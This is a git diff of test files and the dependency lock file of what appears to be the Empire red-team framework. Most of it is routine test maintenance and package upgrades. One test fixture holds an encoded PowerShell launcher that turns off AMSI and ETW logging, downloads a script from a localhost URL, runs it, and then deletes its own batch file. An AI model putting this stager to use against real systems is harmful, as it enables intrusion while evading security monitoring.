assert response.json()["bucket_size"] == "hour"
assert response.json()["records"][1]["count"] == 720 * 3
@@ -227,20 +224,22 @@ def test_agent_checkins_aggregate(
)
assert response.status_code == 200
- assert response.elapsed.total_seconds() < 2
+ assert response.elapsed.total_seconds() < 5
assert response.json()["bucket_size"] == "minute"
assert response.json()["records"][1]["count"] == 12 * 3
response = client.get(
"/api/v2/agents/checkins/aggregate",
headers=admin_auth_header,
- params={"bucket_size": "second"},
+ params={
+ "bucket_size": "second",
+ "start_date": start_time,
+ "end_date": start_time + timedelta(hours=2),
+ },
)
assert response.status_code == 200
- # On an m1 macbook this is <1s, but in CI it's ~11s. ymmv
- # Changed from 15 to 17 in 2023/07
- assert response.elapsed.total_seconds() < 17
+ assert response.elapsed.total_seconds() < 5
assert response.json()["bucket_size"] == "second"
assert response.json()["records"][1]["count"] == 1 * 3
diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py
index b45e7821b..1d3ca4678 100644
--- a/empire/test/test_agent_task_api.py
+++ b/empire/test/test_agent_task_api.py
@@ -698,9 +698,9 @@ def test_create_task_update_sleep_validates_fields(client, admin_auth_header, ag
filter(lambda x: "jitter" in x["loc"], response.json()["detail"])
)[0]
assert delay_err["loc"] == ["body", "delay"]
- assert delay_err["msg"] == "ensure this value is greater than or equal to 0"
+ assert delay_err["msg"] == "Input should be greater than or equal to 0"
assert jitter_err["loc"] == ["body", "jitter"]
- assert jitter_err["msg"] == "ensure this value is less than or equal to 1"
+ assert jitter_err["msg"] == "Input should be less than or equal to 1"
def test_create_task_update_sleep(client, admin_auth_header, agent):
diff --git a/empire/test/test_download_service.py b/empire/test/test_download_service.py
index 646c007ed..0eb03d399 100644
--- a/empire/test/test_download_service.py
+++ b/empire/test/test_download_service.py
@@ -36,11 +36,9 @@ def test_create_download_from_path(main, session_local, models):
download = download_service.create_download(db, user, test_upload)
assert download.id > 0
- assert download.filename.startswith(
- "test-upload"
- ) and download.filename.endswith(".yaml")
- assert download.location.startswith(
- f"empire/test/downloads/uploads/{user.username}/test-upload"
- ) and download.location.endswith(".yaml")
+ assert download.filename.startswith("test-upload")
+ assert download.filename.endswith(".yaml")
+ assert f"empire/test/downloads/uploads/{user.username}/" in download.location
+ assert download.location.endswith(".yaml")
db.delete(download)
diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py
index 829612b2a..6cd60c6ac 100644
--- a/empire/test/test_listener_api.py
+++ b/empire/test/test_listener_api.py
@@ -15,7 +15,7 @@ def test_get_listener_template(client, admin_auth_header):
assert response.status_code == 200
assert response.json()["name"] == "HTTP[S]"
assert response.json()["id"] == "http"
- assert type(response.json()["options"]) == dict
+ assert isinstance(response.json()["options"], dict)
def test_create_listener_validation_fails_required_field(
@@ -250,7 +250,7 @@ def test_update_listener_reverts_if_validation_fails(
assert response.json()["enabled"] is False
listener = response.json()
- del listener["options"]["Port"]
+ listener["options"]["DefaultJitter"] = "Invalid"
listener["options"]["BindIP"] = "1.1.1.1"
response = client.put(
f"/api/v2/listeners/{listener['id']}",
@@ -258,7 +258,10 @@ def test_update_listener_reverts_if_validation_fails(
json=listener,
)
assert response.status_code == 400
- assert response.json()["detail"] == "required option missing: Port"
+ assert (
+ response.json()["detail"]
+ == "incorrect type for option DefaultJitter. Expected but got "
+ )
response = client.get(
f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header
diff --git a/empire/test/test_logs.py b/empire/test/test_logs.py
index b53b780a3..45bd4d46a 100644
--- a/empire/test/test_logs.py
+++ b/empire/test/test_logs.py
@@ -85,7 +85,7 @@ def test_log_level_by_config(monkeypatch):
assert stream_handler.level == logging.WARNING
-def test_log_level_by_arg(monkeypatch):
+def test_log_level_by_arg():
logging.getLogger().handlers.clear()
os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent)
sys.argv = [
@@ -97,8 +97,6 @@ def test_log_level_by_arg(monkeypatch):
"ERROR",
]
- monkeypatch.setattr("empire.server.server.empire", MagicMock())
-
from empire import arguments
from empire.server.server import setup_logging
@@ -106,7 +104,6 @@ def test_log_level_by_arg(monkeypatch):
test_config = _load_test_config()
test_config["logging"]["level"] = "WaRNiNG" # Should be overwritten by arg
config_mock.yaml = test_config
- monkeypatch.setattr("empire.server.server.empire_config", config_mock)
args = arguments.parent_parser.parse_args() # Force reparse of args between runs
setup_logging(args)
@@ -118,13 +115,11 @@ def test_log_level_by_arg(monkeypatch):
assert stream_handler.level == logging.ERROR
-def test_log_level_by_debug_arg(monkeypatch):
+def test_log_level_by_debug_arg():
logging.getLogger().handlers.clear()
os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent)
sys.argv = ["", "server", "--config", SERVER_CONFIG_LOC, "--debug"]
- monkeypatch.setattr("empire.server.server.empire", MagicMock())
-
from empire import arguments
from empire.server.server import setup_logging
@@ -132,7 +127,6 @@ def test_log_level_by_debug_arg(monkeypatch):
test_config = _load_test_config()
test_config["logging"]["level"] = "WaRNiNG" # Should be overwritten by arg
config_mock.yaml = test_config
- monkeypatch.setattr("empire.server.server.empire_config", config_mock)
args = arguments.parent_parser.parse_args() # Force reparse of args between runs
setup_logging(args)
diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py
index cc1b5702a..ae6cfadc4 100644
--- a/empire/test/test_modules.py
+++ b/empire/test/test_modules.py
@@ -119,7 +119,7 @@ def test_execute_custom_generate(
db_agent = (
db.query(models.Agent).filter(models.Agent.session_id == agent).first()
)
- execute = module_service.execute_module(
+ execute, err = module_service.execute_module(
db,
db_agent,
"empire_test_data_modules_test_custom_module",
@@ -128,5 +128,5 @@ def test_execute_custom_generate(
ignore_language_version_check=True,
)
- assert execute is not None
- assert execute[0]["data"] == "This is the module code."
+ assert err is None
+ assert execute["data"] == "This is the module code."
diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py
index 3d2df0709..d0bf0f4ce 100644
--- a/empire/test/test_obfuscation_api.py
+++ b/empire/test/test_obfuscation_api.py
@@ -1,5 +1,6 @@
import os
from contextlib import contextmanager
+from pathlib import Path
import pytest
@@ -12,7 +13,9 @@ def patch_config(empire_config):
"""
orig_src_dir = empire_config.directories.module_source
try:
- empire_config.directories.module_source = "empire/test/data/module_source/"
+ empire_config.directories.module_source = Path(
+ "empire/test/data/module_source/"
+ ).resolve()
yield empire_config
finally:
empire_config.directories.module_source = orig_src_dir
@@ -65,7 +68,7 @@ def test_create_keyword_validate_length(client, admin_auth_header):
assert response.status_code == 422
assert (
response.json()["detail"][0]["msg"]
- == "ensure this value has at least 3 characters"
+ == "String should have at least 3 characters"
)
@@ -231,8 +234,8 @@ def test_preobfuscate_post(client, admin_auth_header, empire_config):
count = 0
for root, _dirs, files in os.walk(module_dir):
for file in files:
- root_rep = root.replace(module_dir, obf_module_dir)
- assert os.path.exists(root_rep + "/" + file)
+ root_rep = root.replace(str(module_dir), str(obf_module_dir))
+ assert (Path(root_rep) / file).exists()
count += 1
assert count > 0
@@ -266,5 +269,5 @@ def test_preobfuscate_delete(client, admin_auth_header, empire_config):
for root, _dirs, files in os.walk(module_dir):
for file in files:
- root_rep = root.replace(module_dir, obf_module_dir)
+ root_rep = root.replace(str(module_dir), str(obf_module_dir))
assert not os.path.exists(root_rep + "/" + file)
diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py
index df93f1a8c..f171793fa 100644
--- a/empire/test/test_stager_api.py
+++ b/empire/test/test_stager_api.py
@@ -31,7 +31,7 @@ def test_get_stager_template(client, admin_auth_header):
assert response.status_code == 200
assert response.json()["name"] == "Launcher"
assert response.json()["id"] == "multi_launcher"
- assert type(response.json()["options"]) == dict
+ assert isinstance(response.json()["options"], dict)
def test_create_stager_validation_fails_required_field(
@@ -441,10 +441,10 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header):
# Check if the file is downloaded successfully
assert response.status_code == 200
- assert (
- response.headers.get("content-type").split(";")[0]
- == "application/x-msdos-program"
- )
+ assert response.headers.get("content-type").split(";")[0] in [
+ "application/x-msdownload",
+ "application/x-msdos-program",
+ ]
assert isinstance(response.content, bytes)
# Check if the downloaded file is not empty
@@ -458,7 +458,7 @@ def _expected_http_bat_launcher():
return dedent(
"""
@echo off
- start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADEAMwAzADYALwBkAG8AdwBuAGwAbwBhAGQALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8AJwApAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAfABpAGUAeAA=
+ start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALwAnACkALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwB8AGkAZQB4AA==
timeout /t 1 > nul
del "%~f0"
"""
diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py
index 60e087027..285b5874f 100644
--- a/empire/test/test_tags_api.py
+++ b/empire/test/test_tags_api.py
@@ -14,15 +14,19 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id):
"detail": [
{
"ctx": {"pattern": "^[^:]+$"},
+ "input": "test:tag",
"loc": ["body", "name"],
- "msg": 'string does not match regex "^[^:]+$"',
- "type": "value_error.str.regex",
+ "msg": "String should match pattern '^[^:]+$'",
+ "type": "string_pattern_mismatch",
+ "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch",
},
{
"ctx": {"pattern": "^[^:]+$"},
+ "input": "test:value",
"loc": ["body", "value"],
- "msg": 'string does not match regex "^[^:]+$"',
- "type": "value_error.str.regex",
+ "msg": "String should match pattern '^[^:]+$'",
+ "type": "string_pattern_mismatch",
+ "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch",
},
]
}
@@ -121,15 +125,19 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id):
"detail": [
{
"ctx": {"pattern": "^[^:]+$"},
+ "input": "test:tag",
"loc": ["body", "name"],
- "msg": 'string does not match regex "^[^:]+$"',
- "type": "value_error.str.regex",
+ "msg": "String should match pattern '^[^:]+$'",
+ "type": "string_pattern_mismatch",
+ "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch",
},
{
"ctx": {"pattern": "^[^:]+$"},
+ "input": "test:value",
"loc": ["body", "value"],
- "msg": 'string does not match regex "^[^:]+$"',
- "type": "value_error.str.regex",
+ "msg": "String should match pattern '^[^:]+$'",
+ "type": "string_pattern_mismatch",
+ "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch",
},
]
}
@@ -299,6 +307,7 @@ def _create_tags(
for taggable in zip(
[listener, agent, agent_task, plugin_task, credential, download],
paths,
+ strict=True,
):
if isinstance(taggable[0], dict):
taggable_id = taggable[0]["id"]
@@ -418,7 +427,7 @@ def test_get_agent_tasks_tag_filter(
assert resp.status_code == 422
assert (
- resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"'
+ resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'"
)
@@ -501,7 +510,7 @@ def test_get_plugin_tasks_tag_filter(
assert resp.status_code == 422
assert (
- resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"'
+ resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'"
)
@@ -590,5 +599,5 @@ def test_get_downloads_tag_filter(
assert resp.status_code == 422
assert (
- resp.json()["detail"][0]["msg"] == 'string does not match regex "^[^:]+:[^:]+$"'
+ resp.json()["detail"][0]["msg"] == "String should match pattern '^[^:]+:[^:]+$'"
)
diff --git a/poetry.lock b/poetry.lock
index 0dfb6be4e..a6cd43b5a 100644
--- a/poetry.lock
+++ b/poetry.lock
@@ -13,13 +13,24 @@ files = [
[[package]]
name = "altgraph"
-version = "0.17.3"
+version = "0.17.4"
description = "Python graph (network) package"
optional = false
python-versions = "*"
files = [
- {file = "altgraph-0.17.3-py2.py3-none-any.whl", hash = "sha256:c8ac1ca6772207179ed8003ce7687757c04b0b71536f81e2ac5755c6226458fe"},
- {file = "altgraph-0.17.3.tar.gz", hash = "sha256:ad33358114df7c9416cdb8fa1eaa5852166c505118717021c6a8c7c7abbd03dd"},
+ {file = "altgraph-0.17.4-py2.py3-none-any.whl", hash = "sha256:642743b4750de17e655e6711601b077bc6598dbfa3ba5fa2b2a35ce12b508dff"},
+ {file = "altgraph-0.17.4.tar.gz", hash = "sha256:1b5afbb98f6c4dcadb2e2ae6ab9fa994bbb8c1d75f4fa96d340f9437ae454406"},
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.6.0"
+description = "Reusable constraint types to use with typing.Annotated"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "annotated_types-0.6.0-py3-none-any.whl", hash = "sha256:0641064de18ba7a25dee8f96403ebc39113d0cb953a01429249d5c7564666a43"},
+ {file = "annotated_types-0.6.0.tar.gz", hash = "sha256:563339e807e53ffd9c267e99fc6d9ea23eb8443c08f112651963e24e22f84a5d"},
]
[[package]]
@@ -34,24 +45,24 @@ files = [
[[package]]
name = "anyio"
-version = "4.0.0"
+version = "3.7.1"
description = "High level compatibility layer for multiple asynchronous event loop implementations"
optional = false
-python-versions = ">=3.8"
+python-versions = ">=3.7"
files = [
- {file = "anyio-4.0.0-py3-none-any.whl", hash = "sha256:cfdb2b588b9fc25ede96d8db56ed50848b0b649dca3dd1df0b11f683bb9e0b5f"},
- {file = "anyio-4.0.0.tar.gz", hash = "sha256:f7ed51751b2c2add651e5747c891b47e26d2a21be5d32d9311dfe9692f3e5d7a"},
+ {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"},
+ {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"},
]
[package.dependencies]
-exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
+exceptiongroup = {version = "*", markers = "python_version < \"3.11\""}
idna = ">=2.8"
sniffio = ">=1.1"
[package.extras]
-doc = ["Sphinx (>=7)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)"]
-test = ["anyio[trio]", "coverage[toml] (>=7)", "hypothesis (>=4.0)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"]
-trio = ["trio (>=0.22)"]
+doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"]
+test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"]
+trio = ["trio (<0.22)"]
[[package]]
name = "attrs"
@@ -141,33 +152,29 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py
[[package]]
name = "black"
-version = "23.9.1"
+version = "23.10.1"
description = "The uncompromising code formatter."
optional = false
python-versions = ">=3.8"
files = [
- {file = "black-23.9.1-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:d6bc09188020c9ac2555a498949401ab35bb6bf76d4e0f8ee251694664df6301"},
- {file = "black-23.9.1-cp310-cp310-macosx_10_16_universal2.whl", hash = "sha256:13ef033794029b85dfea8032c9d3b92b42b526f1ff4bf13b2182ce4e917f5100"},
- {file = "black-23.9.1-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:75a2dc41b183d4872d3a500d2b9c9016e67ed95738a3624f4751a0cb4818fe71"},
- {file = "black-23.9.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:13a2e4a93bb8ca74a749b6974925c27219bb3df4d42fc45e948a5d9feb5122b7"},
- {file = "black-23.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:adc3e4442eef57f99b5590b245a328aad19c99552e0bdc7f0b04db6656debd80"},
- {file = "black-23.9.1-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:8431445bf62d2a914b541da7ab3e2b4f3bc052d2ccbf157ebad18ea126efb91f"},
- {file = "black-23.9.1-cp311-cp311-macosx_10_16_universal2.whl", hash = "sha256:8fc1ddcf83f996247505db6b715294eba56ea9372e107fd54963c7553f2b6dfe"},
- {file = "black-23.9.1-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:7d30ec46de88091e4316b17ae58bbbfc12b2de05e069030f6b747dfc649ad186"},
- {file = "black-23.9.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:031e8c69f3d3b09e1aa471a926a1eeb0b9071f80b17689a655f7885ac9325a6f"},
- {file = "black-23.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:538efb451cd50f43aba394e9ec7ad55a37598faae3348d723b59ea8e91616300"},
- {file = "black-23.9.1-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:638619a559280de0c2aa4d76f504891c9860bb8fa214267358f0a20f27c12948"},
- {file = "black-23.9.1-cp38-cp38-macosx_10_16_universal2.whl", hash = "sha256:a732b82747235e0542c03bf352c126052c0fbc458d8a239a94701175b17d4855"},
- {file = "black-23.9.1-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:cf3a4d00e4cdb6734b64bf23cd4341421e8953615cba6b3670453737a72ec204"},
- {file = "black-23.9.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cf99f3de8b3273a8317681d8194ea222f10e0133a24a7548c73ce44ea1679377"},
- {file = "black-23.9.1-cp38-cp38-win_amd64.whl", hash = "sha256:14f04c990259576acd093871e7e9b14918eb28f1866f91968ff5524293f9c573"},
- {file = "black-23.9.1-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:c619f063c2d68f19b2d7270f4cf3192cb81c9ec5bc5ba02df91471d0b88c4c5c"},
- {file = "black-23.9.1-cp39-cp39-macosx_10_16_universal2.whl", hash = "sha256:6a3b50e4b93f43b34a9d3ef00d9b6728b4a722c997c99ab09102fd5efdb88325"},
- {file = "black-23.9.1-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:c46767e8df1b7beefb0899c4a95fb43058fa8500b6db144f4ff3ca38eb2f6393"},
- {file = "black-23.9.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50254ebfa56aa46a9fdd5d651f9637485068a1adf42270148cd101cdf56e0ad9"},
- {file = "black-23.9.1-cp39-cp39-win_amd64.whl", hash = "sha256:403397c033adbc45c2bd41747da1f7fc7eaa44efbee256b53842470d4ac5a70f"},
- {file = "black-23.9.1-py3-none-any.whl", hash = "sha256:6ccd59584cc834b6d127628713e4b6b968e5f79572da66284532525a042549f9"},
- {file = "black-23.9.1.tar.gz", hash = "sha256:24b6b3ff5c6d9ea08a8888f6977eae858e1f340d7260cf56d70a49823236b62d"},
+ {file = "black-23.10.1-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:ec3f8e6234c4e46ff9e16d9ae96f4ef69fa328bb4ad08198c8cee45bb1f08c69"},
+ {file = "black-23.10.1-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:1b917a2aa020ca600483a7b340c165970b26e9029067f019e3755b56e8dd5916"},
+ {file = "black-23.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c74de4c77b849e6359c6f01987e94873c707098322b91490d24296f66d067dc"},
+ {file = "black-23.10.1-cp310-cp310-win_amd64.whl", hash = "sha256:7b4d10b0f016616a0d93d24a448100adf1699712fb7a4efd0e2c32bbb219b173"},
+ {file = "black-23.10.1-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:b15b75fc53a2fbcac8a87d3e20f69874d161beef13954747e053bca7a1ce53a0"},
+ {file = "black-23.10.1-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:e293e4c2f4a992b980032bbd62df07c1bcff82d6964d6c9496f2cd726e246ace"},
+ {file = "black-23.10.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d56124b7a61d092cb52cce34182a5280e160e6aff3137172a68c2c2c4b76bcb"},
+ {file = "black-23.10.1-cp311-cp311-win_amd64.whl", hash = "sha256:3f157a8945a7b2d424da3335f7ace89c14a3b0625e6593d21139c2d8214d55ce"},
+ {file = "black-23.10.1-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:cfcce6f0a384d0da692119f2d72d79ed07c7159879d0bb1bb32d2e443382bf3a"},
+ {file = "black-23.10.1-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:33d40f5b06be80c1bbce17b173cda17994fbad096ce60eb22054da021bf933d1"},
+ {file = "black-23.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:840015166dbdfbc47992871325799fd2dc0dcf9395e401ada6d88fe11498abad"},
+ {file = "black-23.10.1-cp38-cp38-win_amd64.whl", hash = "sha256:037e9b4664cafda5f025a1728c50a9e9aedb99a759c89f760bd83730e76ba884"},
+ {file = "black-23.10.1-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:7cb5936e686e782fddb1c73f8aa6f459e1ad38a6a7b0e54b403f1f05a1507ee9"},
+ {file = "black-23.10.1-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:7670242e90dc129c539e9ca17665e39a146a761e681805c54fbd86015c7c84f7"},
+ {file = "black-23.10.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5ed45ac9a613fb52dad3b61c8dea2ec9510bf3108d4db88422bacc7d1ba1243d"},
+ {file = "black-23.10.1-cp39-cp39-win_amd64.whl", hash = "sha256:6d23d7822140e3fef190734216cefb262521789367fbdc0b3f22af6744058982"},
+ {file = "black-23.10.1-py3-none-any.whl", hash = "sha256:d431e6739f727bb2e0495df64a6c7a5310758e87505f5f8cde9ff6c0f2d7e4fe"},
+ {file = "black-23.10.1.tar.gz", hash = "sha256:1f8ce316753428ff68749c65a5f7844631aa18c8679dfd3ca9dc1a289979c258"},
]
[package.dependencies]
@@ -187,13 +194,13 @@ uvloop = ["uvloop (>=0.15.2)"]
[[package]]
name = "blinker"
-version = "1.6.2"
+version = "1.7.0"
description = "Fast, simple object-to-object and broadcast signaling"
optional = false
-python-versions = ">=3.7"
+python-versions = ">=3.8"
files = [
- {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"},
- {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"},
+ {file = "blinker-1.7.0-py3-none-any.whl", hash = "sha256:c3f865d4d54db7abc53758a01601cf343fe55b84c1de4e3fa910e420b438d5b9"},
+ {file = "blinker-1.7.0.tar.gz", hash = "sha256:e6820ff6fa4e4d1d8e2747c2283749c3f547e4fee112b98555cdcdae32996182"},
]
[[package]]
@@ -290,41 +297,38 @@ files = [
[[package]]
name = "brotlicffi"
-version = "1.0.9.2"
+version = "1.1.0.0"
description = "Python CFFI bindings to the Brotli library"
optional = false
-python-versions = "*"
+python-versions = ">=3.7"
files = [
- {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"},
